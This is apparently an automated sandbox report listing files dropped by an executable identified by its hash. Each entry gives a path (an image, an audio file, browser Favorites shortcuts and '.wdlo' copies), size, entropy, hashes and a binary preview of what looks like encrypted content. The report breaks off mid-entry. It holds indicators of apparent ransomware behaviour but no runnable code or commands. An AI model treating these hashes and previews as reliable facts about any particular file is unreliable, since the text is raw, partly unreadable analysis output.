.f..(.........2R1......[..3.uh..3.I.....(Y..j...,#..u.~iX.!.8....&.A.s..].k,k..Kt\....m.mb..u

C:\Users\user\Downloads\WUTJSCBCFX.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846698303169726
Encrypted:	false
SSDEEP:	24:957ooUdjXc1zlk3AYVPkcpmgRwJdP+bILqWLStUohH1fs5mqYMHIquq089493zbD:8/juliMcnwJd2MLqEST1fJqYXqZH949T
MD5:	B580AFBE3ED6192CCDD7E10C2C05DD3D
SHA1:	A3540B66EC2FCBDE1626039FC743DE0F215EBE1C
SHA-256:	DCB29988AC4C6E7DD77A1F248AAD9E49E777C766F0DD6D379129B87C62F50244
SHA-512:	08F8BDE788203A973D63FED8A659E3ECD3CA9BA7731B944C6D7285E68D2C5063D0E4FE9AEAC2C0D77697DD5D82DCE63BA40CD44ACCD0760BABF47AE90AAC4864
Malicious:	false
Preview:	WUTJSJg/....d[:"......I...!.{.m.G:.9.QC..>0{.W.......w...R....K..nr...4.0...j .)0j.y.1W`N..G.,..F`......cHb...5..0.hb+...)}J..........^.N(5....G\..`:..g..hC..&...L....7>6 F.[....f..........AG.;.CM.}.I.2./.F."i....\|.....Y@:g.v\|S.....l/b\.....F'4...L......1..F0...J.........f..P....-wze...%..m..q...dg....o.d...\..").-q.....).,\|...4...dq..t.A..w.rhU.6..8`4..l.........$...QV._N)......L...y....2Ka.....I......U......5=E..d.......WO.A2....@......,7U..S..9..$} M<]w.iD!r...CP..v.....U...?... ...9;....b $.3P,....)..1.O......V....l.E.S...i.A......f..To1p...B..j%f/.0',.Q....B..^.^.L.nU...V.r.'-..]......\................z.-F=h.U...$....XZm.2.<.;\|.....lO. U...<iQ..M.../d....A...0.V.......:...X.-.J.9.....8G...k....z.0^I.@m.J...-..B..C.....3.`.>s..G.W....GQ......I..j...."......?g).......E6u~..../X.t1$7..L{b...kF..B.$xEN..jV..Y...(0.%N.?..~Q..Y.Vm....;.X...$.9.B..<.g-... ...".....3.O.\..w4..J..QA..(.a1..?......L.[..{...8.\|...{.....Y.

C:\Users\user\Downloads\WUTJSCBCFX.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846698303169726
Encrypted:	false
SSDEEP:	24:957ooUdjXc1zlk3AYVPkcpmgRwJdP+bILqWLStUohH1fs5mqYMHIquq089493zbD:8/juliMcnwJd2MLqEST1fJqYXqZH949T
MD5:	B580AFBE3ED6192CCDD7E10C2C05DD3D
SHA1:	A3540B66EC2FCBDE1626039FC743DE0F215EBE1C
SHA-256:	DCB29988AC4C6E7DD77A1F248AAD9E49E777C766F0DD6D379129B87C62F50244
SHA-512:	08F8BDE788203A973D63FED8A659E3ECD3CA9BA7731B944C6D7285E68D2C5063D0E4FE9AEAC2C0D77697DD5D82DCE63BA40CD44ACCD0760BABF47AE90AAC4864
Malicious:	false
Preview:	WUTJSJg/....d[:"......I...!.{.m.G:.9.QC..>0{.W.......w...R....K..nr...4.0...j .)0j.y.1W`N..G.,..F`......cHb...5..0.hb+...)}J..........^.N(5....G\..`:..g..hC..&...L....7>6 F.[....f..........AG.;.CM.}.I.2./.F."i....\|.....Y@:g.v\|S.....l/b\.....F'4...L......1..F0...J.........f..P....-wze...%..m..q...dg....o.d...\..").-q.....).,\|...4...dq..t.A..w.rhU.6..8`4..l.........$...QV._N)......L...y....2Ka.....I......U......5=E..d.......WO.A2....@......,7U..S..9..$} M<]w.iD!r...CP..v.....U...?... ...9;....b $.3P,....)..1.O......V....l.E.S...i.A......f..To1p...B..j%f/.0',.Q....B..^.^.L.nU...V.r.'-..]......\................z.-F=h.U...$....XZm.2.<.;\|.....lO. U...<iQ..M.../d....A...0.V.......:...X.-.J.9.....8G...k....z.0^I.@m.J...-..B..C.....3.`.>s..G.W....GQ......I..j...."......?g).......E6u~..../X.t1$7..L{b...kF..B.$xEN..jV..Y...(0.%N.?..~Q..Y.Vm....;.X...$.9.B..<.g-... ...".....3.O.\..w4..J..QA..(.a1..?......L.[..{...8.\|...{.....Y.

C:\Users\user\Downloads\ZBEDCJPBEY.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853183510097345
Encrypted:	false
SSDEEP:	24:QN5tt5LNn4NXUL2LL76LJ8chsIGbIop+3GEmhahNxNs5NQztlrCeFiBn/dm0lx3D:QndLN4NXUILiGYdl3HmmNoubrCeg/MGT
MD5:	C2010D7F2005E119776F97EFF7DB9D45
SHA1:	B1EC56481B20B71E88EC8814A6DEA5F33A063602
SHA-256:	324ED0571630B1BE6F1E29704BAFBD5653FBC7D7128C9083E02FE21B82CD7AC7
SHA-512:	6D43BF02C1BAFDC62C8F8ED855E8571BCA603E1CF08B3E069373267F0C6262A86DE6BBB8FC49455A9544EDECB42DE1099C7781BE86807B3987B8F46B29AB4CA2
Malicious:	false
Preview:	ZBEDC..k...xZ....GO...A.!.4B........z..C0g.JS.y.....,.wC.~..L.<.1.~...b...W.d...8iG.[...T@=9......x..r.6...a..z.!.o..7.......~N....N1i..].(;.S...CyJ.G3......L0.Y.}.....!..v.BhM...r........>....a.0..e.....R..F..l..$>..f..n#.A].8...&....]..:kU...v..`<...3..q...3.!.6...hT.5L...w1B....d...........H..9...@....h<..3.Y/.{..G...I..J..ImK.{lY..,...`....x...&@..'....WC,jd.6...T. }.....U.n..K..>E.e.h..nX..1.W.....K.26..jc...R...>...e.0[...XCDr...S2tF.........P0$.5c...`.%`.h.........U.......,&$U,.ki.t.........5...../.......x....+..:6q...r.`YJ..5......K..M......R....`K..r.(U..[o....\.@.B....~.2...9..3...........C]...[\|Vo"....lN..`]@...Z../.i.fb.v...Z..\?.....G..,x..Y..{....v...1.z.).A...D=Ie..Uw'8T..\....8S......R'....{..q.....$.B.-.S.u...n).t.{.D53.y..g.^\.....h.7...q...+Z+.q.....O<UM..k.a......Y.e........6....=8x..~H...ct.3.......9.]......j.lnN..M...VN.8...=.P/P.G.i=..<U....x&..u..8}`<.3g.#..n._.....)^.x..5..c.g+..Q[..Y.....A.M.Q...j....z.

C:\Users\user\Downloads\ZBEDCJPBEY.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853183510097345
Encrypted:	false
SSDEEP:	24:QN5tt5LNn4NXUL2LL76LJ8chsIGbIop+3GEmhahNxNs5NQztlrCeFiBn/dm0lx3D:QndLN4NXUILiGYdl3HmmNoubrCeg/MGT
MD5:	C2010D7F2005E119776F97EFF7DB9D45
SHA1:	B1EC56481B20B71E88EC8814A6DEA5F33A063602
SHA-256:	324ED0571630B1BE6F1E29704BAFBD5653FBC7D7128C9083E02FE21B82CD7AC7
SHA-512:	6D43BF02C1BAFDC62C8F8ED855E8571BCA603E1CF08B3E069373267F0C6262A86DE6BBB8FC49455A9544EDECB42DE1099C7781BE86807B3987B8F46B29AB4CA2
Malicious:	false
Preview:	ZBEDC..k...xZ....GO...A.!.4B........z..C0g.JS.y.....,.wC.~..L.<.1.~...b...W.d...8iG.[...T@=9......x..r.6...a..z.!.o..7.......~N....N1i..].(;.S...CyJ.G3......L0.Y.}.....!..v.BhM...r........>....a.0..e.....R..F..l..$>..f..n#.A].8...&....]..:kU...v..`<...3..q...3.!.6...hT.5L...w1B....d...........H..9...@....h<..3.Y/.{..G...I..J..ImK.{lY..,...`....x...&@..'....WC,jd.6...T. }.....U.n..K..>E.e.h..nX..1.W.....K.26..jc...R...>...e.0[...XCDr...S2tF.........P0$.5c...`.%`.h.........U.......,&$U,.ki.t.........5...../.......x....+..:6q...r.`YJ..5......K..M......R....`K..r.(U..[o....\.@.B....~.2...9..3...........C]...[\|Vo"....lN..`]@...Z../.i.fb.v...Z..\?.....G..,x..Y..{....v...1.z.).A...D=Ie..Uw'8T..\....8S......R'....{..q.....$.B.-.S.u...n).t.{.D53.y..g.^\.....h.7...q...+Z+.q.....O<UM..k.a......Y.e........6....=8x..~H...ct.3.......9.]......j.lnN..M...VN.8...=.P/P.G.i=..<U....x&..u..8}`<.3g.#..n._.....)^.x..5..c.g+..Q[..Y.....A.M.Q...j....z.

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.428103853292759
Encrypted:	false
SSDEEP:	12:lPhxWF7vFwWD51jPPUmcJu1kdQY7f9D36Wcii9a:/xWF7vFwM1jPPU/wudBDx3zbD
MD5:	3CFFA168F978FB0CAA9C54741C304134
SHA1:	AEC96F475080C5E117891D5CE41D7B59631D682B
SHA-256:	14B75207FA63F82DD8F40AEF56D57E85EAD06F80EFAE8DADC44A92CEDA39EBED
SHA-512:	95796F8C13AB8F99ED51C95CD039343D903195226DA4716917B3E2CEEEFA63BF1E505A91CD110BE724340A9E0DEFCB276FE1A31AC228BA43B5C09CBAF2C6AEB9
Malicious:	false
Preview:	[{000......Fk.&6..WA..........k.`..n.....c...6U.\.S..v...U....=..1.Aa..:q..W..@.\..P.....F.x&k4.$$4.....%...q.0o....X.?.2.G.....d..j....I._..... ...'.!$..U.[k}.sj{......)?."HB..._$....p=........l.. ..!..;y0.......%.f..#G..n.j.m,....+..3.5-DK.5....`...C.^...[LiIz..A..j...l.......T..X..;+..C.9.s..y....<.q...E....0........+.%.{.d...K...lO....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.428103853292759
Encrypted:	false
SSDEEP:	12:lPhxWF7vFwWD51jPPUmcJu1kdQY7f9D36Wcii9a:/xWF7vFwM1jPPU/wudBDx3zbD
MD5:	3CFFA168F978FB0CAA9C54741C304134
SHA1:	AEC96F475080C5E117891D5CE41D7B59631D682B
SHA-256:	14B75207FA63F82DD8F40AEF56D57E85EAD06F80EFAE8DADC44A92CEDA39EBED
SHA-512:	95796F8C13AB8F99ED51C95CD039343D903195226DA4716917B3E2CEEEFA63BF1E505A91CD110BE724340A9E0DEFCB276FE1A31AC228BA43B5C09CBAF2C6AEB9
Malicious:	false
Preview:	[{000......Fk.&6..WA..........k.`..n.....c...6U.\.S..v...U....=..1.Aa..:q..W..@.\..P.....F.x&k4.$$4.....%...q.0o....X.?.2.G.....d..j....I._..... ...'.!$..U.[k}.sj{......)?."HB..._$....p=........l.. ..!..;y0.......%.f..#G..n.j.m,....+..3.5-DK.5....`...C.^...[LiIz..A..j...l.......T..X..;+..C.9.s..y....<.q...E....0........+.%.{.d...K...lO....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.604791923850513
Encrypted:	false
SSDEEP:	12:U77dMz3igCP6BHypd0amibdVVdbNQpgcDh0gr36Wcii9a:Q7CCP3ldvsDhL3zbD
MD5:	FB337868F23F61AAC49277DC4756F55C
SHA1:	C6FAAE9753ACEDDB3B7769D66A36D037647760EE
SHA-256:	79DF2D03AD95789F95829AF2D29AE0045ED9EA2E60C71EE4724C937F76569C78
SHA-512:	35608F5A5C83D2896AC29CC976BAC7FAC767E2EEFB3C669F79CD3360B6FA84BAD597B7AFC97AA99E51AE6C6D91509B27EC6D194ABDE5E8C5CCE8A9C5A34F0B9D
Malicious:	false
Preview:	[{000..."....a...5.S.&.u......~8.^S/..@.6..<3......Rv?...u...../....!...sNL.......%.p^.+....g...1..!..c..7lH..4.}5W._w}.J2$t..i.7a...W.3.D..]..2 .x.,.?....P.........Ok{_..w.............l..n<.?.G}..Z.z.....uM.V.p+.\&_.VN...C.g.X....l............t.....%.}JK..~..".O..q............a.X...0.$..>...`....v1....i..@.I...g...L8.VM....K.i.>?..7....M.z(..+..&..}..M..k..1......b;O.e@..q.bG.....xq........,...{........S...gS7.......O.....^.y....Si0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.604791923850513
Encrypted:	false
SSDEEP:	12:U77dMz3igCP6BHypd0amibdVVdbNQpgcDh0gr36Wcii9a:Q7CCP3ldvsDhL3zbD
MD5:	FB337868F23F61AAC49277DC4756F55C
SHA1:	C6FAAE9753ACEDDB3B7769D66A36D037647760EE
SHA-256:	79DF2D03AD95789F95829AF2D29AE0045ED9EA2E60C71EE4724C937F76569C78
SHA-512:	35608F5A5C83D2896AC29CC976BAC7FAC767E2EEFB3C669F79CD3360B6FA84BAD597B7AFC97AA99E51AE6C6D91509B27EC6D194ABDE5E8C5CCE8A9C5A34F0B9D
Malicious:	false
Preview:	[{000..."....a...5.S.&.u......~8.^S/..@.6..<3......Rv?...u...../....!...sNL.......%.p^.+....g...1..!..c..7lH..4.}5W._w}.J2$t..i.7a...W.3.D..]..2 .x.,.?....P.........Ok{_..w.............l..n<.?.G}..Z.z.....uM.V.p+.\&_.VN...C.g.X....l............t.....%.}JK..~..".O..q............a.X...0.$..>...`....v1....i..@.I...g...L8.VM....K.i.>?..7....M.z(..+..&..}..M..k..1......b;O.e@..q.bG.....xq........,...{........S...gS7.......O.....^.y....Si0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.437026890558786
Encrypted:	false
SSDEEP:	6:JYsHIodaf91fXNW8jAopHMg3wOpRrNKilVikQqu2eGRNMvpxuEpsYesOsVolWbzD:2eNofVWr+lNRhKeViDbJheU36Wcii9a
MD5:	47911EB21B4814164EDAF60B83843A4C
SHA1:	070B7E5F5BE304ECC0E9DB2A417E1C47A7267C9C
SHA-256:	3997A1D248BBA1B15F6746DC31157CC789C8116223C06C831CCA54134396D6AE
SHA-512:	59AC6F2C6196721C991D2067E60E9825D2E1A48D44D075309452BFFCDCFA13F9EA208869DB3372E0715293A3EE1FA10078A6C101007E1E6504B96E396F54E986
Malicious:	false
Preview:	[{000R..-t.G.-.W..hU.n...L...k.....S....G..`"....a......^..t.m.....!..kO....S"...Y"o.x.l...m.Q(.V.K....v!s.W....L.\..2..'....4.....%..A....J.....Dl6Q`.....}!(1...H[...u......D..0u4O.\\.x..4.t.g.8..Z...5.,..3...>..bj.v1...!j..\A5....7.....=.$.B...,.Be6ZJ8..........7..B7q.,H...T...^%....$m.~.X[.}.2..aY.8.{.h..?...JU.K=(..?..@_:.l...J....z.[w..e.Ea....6.V.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.437026890558786
Encrypted:	false
SSDEEP:	6:JYsHIodaf91fXNW8jAopHMg3wOpRrNKilVikQqu2eGRNMvpxuEpsYesOsVolWbzD:2eNofVWr+lNRhKeViDbJheU36Wcii9a
MD5:	47911EB21B4814164EDAF60B83843A4C
SHA1:	070B7E5F5BE304ECC0E9DB2A417E1C47A7267C9C
SHA-256:	3997A1D248BBA1B15F6746DC31157CC789C8116223C06C831CCA54134396D6AE
SHA-512:	59AC6F2C6196721C991D2067E60E9825D2E1A48D44D075309452BFFCDCFA13F9EA208869DB3372E0715293A3EE1FA10078A6C101007E1E6504B96E396F54E986
Malicious:	false
Preview:	[{000R..-t.G.-.W..hU.n...L...k.....S....G..`"....a......^..t.m.....!..kO....S"...Y"o.x.l...m.Q(.V.K....v!s.W....L.\..2..'....4.....%..A....J.....Dl6Q`.....}!(1...H[...u......D..0u4O.\\.x..4.t.g.8..Z...5.,..3...>..bj.v1...!j..\A5....7.....=.$.B...,.Be6ZJ8..........7..B7q.,H...T...^%....$m.~.X[.}.2..aY.8.{.h..?...JU.K=(..?..@_:.l...J....z.[w..e.Ea....6.V.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.443710143909436
Encrypted:	false
SSDEEP:	12:2Kf2Zc/y5NC7Hk0jAcJZJtoQ4J36Wcii9a:2KuJ0jXn34J3zbD
MD5:	6EB3A0A1C2E7FE7146C6CAF8B8F76D64
SHA1:	DC4F9C2C2601BAFDB3DC62ACCF79E117FC1E217E
SHA-256:	0CBC845A1E5670EDEC8DECB374B88985C6C1D5B4039B87F548DC9EF9DAD6DB40
SHA-512:	83C3A240860F2218E169D394EED0476F3BAA2384AEEAAF9010044C8A7439141DCFF6BA0580013638E771E3D6418AF024E944DFEA12AECFCA18588B5BB4FE3307
Malicious:	false
Preview:	[{000Z_.B..'.3v.f...f..`.I`...o^e...._.a:..v.e...IgWT0..7.\|...<...y].<.&T.WOB_#..l..K....2t.U.h}..$i.+ef...Z.%Q.j.J.lZ.~..Q.8....G.....i^......*PA..&..n....Eo?R.{pJ.Yy&El.]\.b..mj.Vb....O..g..@..v....Y.0 .i.<.m..._..-......o.o.V6.......6.JGM]?(../x.p[.........9...6-...K..{jKy...k.%\|..g.pEL.v...C.f.. ...x..m..~._...T.j.V...F...n....Lz@.s@>....nDe.k.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.443710143909436
Encrypted:	false
SSDEEP:	12:2Kf2Zc/y5NC7Hk0jAcJZJtoQ4J36Wcii9a:2KuJ0jXn34J3zbD
MD5:	6EB3A0A1C2E7FE7146C6CAF8B8F76D64
SHA1:	DC4F9C2C2601BAFDB3DC62ACCF79E117FC1E217E
SHA-256:	0CBC845A1E5670EDEC8DECB374B88985C6C1D5B4039B87F548DC9EF9DAD6DB40
SHA-512:	83C3A240860F2218E169D394EED0476F3BAA2384AEEAAF9010044C8A7439141DCFF6BA0580013638E771E3D6418AF024E944DFEA12AECFCA18588B5BB4FE3307
Malicious:	false
Preview:	[{000Z_.B..'.3v.f...f..`.I`...o^e...._.a:..v.e...IgWT0..7.\|...<...y].<.&T.WOB_#..l..K....2t.U.h}..$i.+ef...Z.%Q.j.J.lZ.~..Q.8....G.....i^......*PA..&..n....Eo?R.{pJ.Yy&El.]\.b..mj.Vb....O..g..@..v....Y.0 .i.<.m..._..-......o.o.V6.......6.JGM]?(../x.p[.........9...6-...K..{jKy...k.%\|..g.pEL.v...C.f.. ...x..m..~._...T.j.V...F...n....Lz@.s@>....nDe.k.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.412852744831385
Encrypted:	false
SSDEEP:	12:2mx67f7Cx9j8f6HCHcMGESiWI/wLvuzT36Wcii9a:NJ9e6i8d97Ioy3zbD
MD5:	32389D1780FF58824B1795EECB44CD71
SHA1:	9448D96137974B5A3773B52BAED781309AB6B54A
SHA-256:	5AFC9C05FBF4B419073E2401B9BBCB9FC15364ADC8CD3C31A5665F4473199F94
SHA-512:	70457970BABEA252D4A4C898CE17D9D860C91F75E422AD3C9B3015F7EFFADAE89A17FBE135316380C54CE11344013FA1835F644A9C73B5D4043947849F34587E
Malicious:	false
Preview:	[{000....!............G.f......9.....b..vq....l...s...,/.X.....ov=z...'.....6.`.........@d.I.F.3.[4=.NE..RA....4.-..0..0...._-.F\^.cC0C.B.....~v.....TV..{.U6.....).DQ..Vy...e..G..e. ..~V.c.4....Z......[.Q.9...)....$).,.%......W...%..*.....Fm}.D7t.o.0..{..M0^....~.Q..d..V3gOi......u...d...y..i3t.Dq...4....v....+.."`bd'].R6/n.......=-.Iv.?......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.412852744831385
Encrypted:	false
SSDEEP:	12:2mx67f7Cx9j8f6HCHcMGESiWI/wLvuzT36Wcii9a:NJ9e6i8d97Ioy3zbD
MD5:	32389D1780FF58824B1795EECB44CD71
SHA1:	9448D96137974B5A3773B52BAED781309AB6B54A
SHA-256:	5AFC9C05FBF4B419073E2401B9BBCB9FC15364ADC8CD3C31A5665F4473199F94
SHA-512:	70457970BABEA252D4A4C898CE17D9D860C91F75E422AD3C9B3015F7EFFADAE89A17FBE135316380C54CE11344013FA1835F644A9C73B5D4043947849F34587E
Malicious:	false
Preview:	[{000....!............G.f......9.....b..vq....l...s...,/.X.....ov=z...'.....6.`.........@d.I.F.3.[4=.NE..RA....4.-..0..0...._-.F\^.cC0C.B.....~v.....TV..{.U6.....).DQ..Vy...e..G..e. ..~V.c.4....Z......[.Q.9...)....$).,.%......W...%..*.....Fm}.D7t.o.0..{..M0^....~.Q..d..V3gOi......u...d...y..i3t.Dq...4....v....+.."`bd'].R6/n.......=-.Iv.?......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.480666774793533
Encrypted:	false
SSDEEP:	12:hCYTiiHij5cHYQz9Wou3avEAu17jTWniSbp36Wcii9a:hjHABQTuGuVXs/p3zbD
MD5:	7E33800B1D5A11C904CB6BAA04AC3D00
SHA1:	F07281D9B75D0A47957E6B5DE31386BF9F8F7F4B
SHA-256:	EB315BAA2AD82E3DA0FC26AFD385D505CC1379CB01F20BF17AE87BE99399DE5F
SHA-512:	ABF21A8BB44B12D9987ECA59B193955ADB8603A70EFC34DFA1D55DBE9D07B51D3404B4CB87C54B83353645E8D72C2F3D20A50DF199B40EF2F7E14AAAB0BA482B
Malicious:	false
Preview:	[{000E..!G.k. ..Y...9.+........T\|.U.....H.C...8.,..\|......%..#.yv.v.+[.a..:....nb...5\2.......d.....d.Q....u....OUMm>V.s.0...{.CV.^.N..Y.U..RP=.hk...%..%.......P.D-....D.......I.w.........(;..J... .~)..x.%.D........]...fl.bL..l.rV}.M...I......,..........B.k./..Um<.4v:...P8..p.3....K.....<x.j.\|....*....B.</b..t..#s.P1....\|.......q.? )....u\...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.480666774793533
Encrypted:	false
SSDEEP:	12:hCYTiiHij5cHYQz9Wou3avEAu17jTWniSbp36Wcii9a:hjHABQTuGuVXs/p3zbD
MD5:	7E33800B1D5A11C904CB6BAA04AC3D00
SHA1:	F07281D9B75D0A47957E6B5DE31386BF9F8F7F4B
SHA-256:	EB315BAA2AD82E3DA0FC26AFD385D505CC1379CB01F20BF17AE87BE99399DE5F
SHA-512:	ABF21A8BB44B12D9987ECA59B193955ADB8603A70EFC34DFA1D55DBE9D07B51D3404B4CB87C54B83353645E8D72C2F3D20A50DF199B40EF2F7E14AAAB0BA482B
Malicious:	false
Preview:	[{000E..!G.k. ..Y...9.+........T\|.U.....H.C...8.,..\|......%..#.yv.v.+[.a..:....nb...5\2.......d.....d.Q....u....OUMm>V.s.0...{.CV.^.N..Y.U..RP=.hk...%..%.......P.D-....D.......I.w.........(;..J... .~)..x.%.D........]...fl.bL..l.rV}.M...I......,..........B.k./..Um<.4v:...P8..p.3....K.....<x.j.\|....*....B.</b..t..#s.P1....\|.......q.? )....u\...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.438275945540671
Encrypted:	false
SSDEEP:	12:x9IytGO3nHXDcPf44tMro1euYe5Brb5djEV36Wcii9a:x9Iyt53nHXDcPTMrud5hEV3zbD
MD5:	F7972D8400D26C5A866D539B79B5513F
SHA1:	0B92E55D752A360DE8D94727CC55FEF751D574A2
SHA-256:	93FB8D796711A6CB78EDCCE45D4F7B8D296B2D8447990AF097D110CF98FC67F2
SHA-512:	DCF3DC3C85E6661726E72788A7C10600C4A61FE84F2F465123726F15199CC9297B66AB57F8A619B2B8F7AB84915BDA9030E2A21FF98E4A7CDCA17F184A9AE64E
Malicious:	false
Preview:	[{000...2.c,..3.A.r.h9;?.gQ....AO._.E...m..#..i#....B....P[.F.....Cy....4k-.p..F+..Z.b......d...~@E;E.]g<..B\ ...C...=....>G..K.m ..].rzI...pP.Q_....S...rE\:I\Ae.}J.....&4`.......kX\|...q.!...Ou.....N.\~7.[v8.@....g.G..?.{.a..f...u..O.......@..3s.@.6....\...........9.)z.....a..Y.../.2.5$N.E...j....&......]`.R.2.g9e.tO.P......(0.w].V,...=i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.438275945540671
Encrypted:	false
SSDEEP:	12:x9IytGO3nHXDcPf44tMro1euYe5Brb5djEV36Wcii9a:x9Iyt53nHXDcPTMrud5hEV3zbD
MD5:	F7972D8400D26C5A866D539B79B5513F
SHA1:	0B92E55D752A360DE8D94727CC55FEF751D574A2
SHA-256:	93FB8D796711A6CB78EDCCE45D4F7B8D296B2D8447990AF097D110CF98FC67F2
SHA-512:	DCF3DC3C85E6661726E72788A7C10600C4A61FE84F2F465123726F15199CC9297B66AB57F8A619B2B8F7AB84915BDA9030E2A21FF98E4A7CDCA17F184A9AE64E
Malicious:	false
Preview:	[{000...2.c,..3.A.r.h9;?.gQ....AO._.E...m..#..i#....B....P[.F.....Cy....4k-.p..F+..Z.b......d...~@E;E.]g<..B\ ...C...=....>G..K.m ..].rzI...pP.Q_....S...rE\:I\Ae.}J.....&4`.......kX\|...q.!...Ou.....N.\~7.[v8.@....g.G..?.{.a..f...u..O.......@..3s.@.6....\...........9.)z.....a..Y.../.2.5$N.E...j....&......]`.R.2.g9e.tO.P......(0.w].V,...=i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.498400489781798
Encrypted:	false
SSDEEP:	12:PN9LDrXk4fjLZncsLt2G0Ety1mdXXeo0RRU36Wcii9a:197PZcsLEG0Ew1aXXedRU3zbD
MD5:	471EC5E63C28C8C251C4DC234ED58EBA
SHA1:	DE660EB2705AEBD3D68D8121453368C9B80A94C0
